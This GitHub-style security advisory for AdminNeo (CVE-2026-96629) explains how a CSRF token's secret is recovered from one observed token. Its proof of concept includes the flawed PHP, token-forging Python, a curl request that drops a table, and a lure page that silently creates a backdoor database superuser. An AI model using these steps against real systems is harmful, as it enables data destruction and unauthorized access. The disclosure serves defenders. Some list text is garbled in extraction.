adminneo-org/adminneo
Affected
- introduced
0, fixed5.5.1(ecosystem)
Fixed versions
5.5.1
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2026-96629
AdminNeo: CSRF Token Secret Recoverable from Single Observed Token, Enabling Cross-Site Request Forgery
Summary
AdminNeo's CSRF protection uses a BREACH-resistant XOR masking scheme, but the implementation transmits both the XOR mask and the masked value in every token. This allows any observer who sees a single CSRF token (via network sniffing, log files, Referrer header, or XSS) to instantly recover the session secret and forge unlimited valid CSRF tokens. Additionally, the underlying session token has only ~20 bits of entropy (rand(1, 1e6)), making blind brute-force feasible even without token observation.
Originally reported by @az0mb13 in Adminer: GHSA-q4f2-39gr-45jh
Details
Token generation in admin/include/functions.inc.php lines 1181-1184:
function get_token() {
$rand = rand(1, 1e6);
return ($rand ^ $_SESSION["token"]) . ":$rand";
}
Token verification in lines 1189-1192:
function verify_token() {
list($token, $rand) = explode(":", $_POST["token"]);
return ($rand ^ $_SESSION["token"]) == $token;
}
Session token initialized in admin/include/auth.inc.php lines 327 and 385:
$_SESSION["token"] = rand(1, 1e6);
Three distinct weaknesses:
(rand XOR secret):rand transmits both operands. Recovery is trivial: secret = masked_value XOR rand.verify_token() uses == (loose comparison) instead of ===, enabling PHP type juggling.PoC
Validated against a live AdminNeo 5.5.0 instance (MySQL 8.0, PHP 8.2).
Step 1: Observe a single CSRF token
Load any authenticated AdminNeo page and extract a token from the HTML source. Tokens appear in hidden form fields:
<input type='hidden' name='token' value='222277:990527'>
Token observation vectors: Referrer header leak, shared proxy logs, browser history, limited XSS, network sniffing.
Step 2: Recover the session secret (instant, 1 XOR operation)
observed = "542273:441804"
masked, rand_val = observed.split(":")
session_secret = int(masked) ^ int(rand_val)
# Result: 817530
The token format is (rand XOR secret):rand. Both operands are transmitted, so the secret is recovered with a single XOR — zero additional requests needed.
Step 3: Forge unlimited valid CSRF tokens
import random
forge_rand = random.randint(1, 1000000)
forged = f"{forge_rand ^ session_secret}:{forge_rand}"
# Example output: 729376:481370
Each forged token is unique and valid. The attacker can generate as many as needed.
Step 4: Execute arbitrary SQL with the forged token
# Forged token used to DROP a table the attacker never had a token for:
curl -b victim_cookies.txt \
'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \
--data-urlencode "token=729376:481370" \
--data-urlencode "query=DROP TABLE csrf_victim_table;" \
-d "limit=0"
Step 5: Verify a random wrong token is rejected (control)
curl -b victim_cookies.txt \
'http://target/adminneo/?mysql=127.0.0.1&username=root&db=testdb&sql=' \
--data-urlencode "token=111:222" \
--data-urlencode "query=SELECT 1" -d "limit=1"
# Result: "Invalid CSRF token. Send the form again."
Weaponized CSRF attack page
In a real attack, the attacker hosts this HTML page and lures the victim to visit it while authenticated to AdminNeo:
<html><body>
<h1>Click here for free database optimization tips</h1>
<!-- Attacker recovered secret 817530 from an observed token -->
<!-- Forged token: 729376:481370 -->
<iframe style="display:none" name="x"></iframe>
<form id="f" method="POST" target="x"
action="http://target/adminneo/?mysql=127.0.0.1&username=root&db=production&sql=">
<input type="hidden" name="token" value="729376:481370">
<input type="hidden" name="query" value="CREATE USER 'backdoor'@'%' IDENTIFIED BY 'p@ss'; GRANT ALL ON *.* TO 'backdoor'@'%' WITH GRANT OPTION;">
<input type="hidden" name="limit" value="0">
</form>
<script>document.getElementById('f').submit();</script>
</body></html>
Impact
Medium Basis: The source's own band: MODERATE
0, fixed 5.5.1 (ecosystem)5.5.1
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0